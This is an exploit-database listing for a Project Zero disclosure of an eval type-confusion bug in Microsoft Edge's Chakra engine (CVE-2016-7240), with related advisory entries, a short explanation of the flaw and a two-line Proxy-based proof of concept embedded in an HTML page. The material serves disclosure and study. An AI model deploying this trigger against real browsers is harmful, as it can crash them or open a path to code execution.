Microsoft Edge - eval Type Confusion Vulnerability

🗓️ 18 Nov 2016 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 36 Views

Microsoft Edge - eval Type Confusion Vulnerability in Chakra function call assumptions with a Proxy function tra

Reporter	Title	Published	Views	Family All 32
ATTACKERKB	CVE-2016-7200	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7202	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7243	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7208	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7201	10 Nov 201600:00	–	attackerkb
BDU FSTEC	Microsoft Edge browser vulnerability, which allows a hacker to trigger a service failure or execute arbitrary code	15 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7240	17 Nov 201600:00	–	circl
CNVD	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2016-10946)	9 Nov 201600:00	–	cnvd
Check Point Advisories	Microsoft Edge Scripting Engine Memory Corruption (MS16-129: CVE-2016-7240)	8 Nov 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7240	10 Nov 201606:16	–	cve

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948
 
In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:
 
var p = new Proxy(eval, {});
p("alert(\"e\")"); 
-->
 
<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>

#  0day.today [2018-02-16]  #

18 Nov 2016 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.69291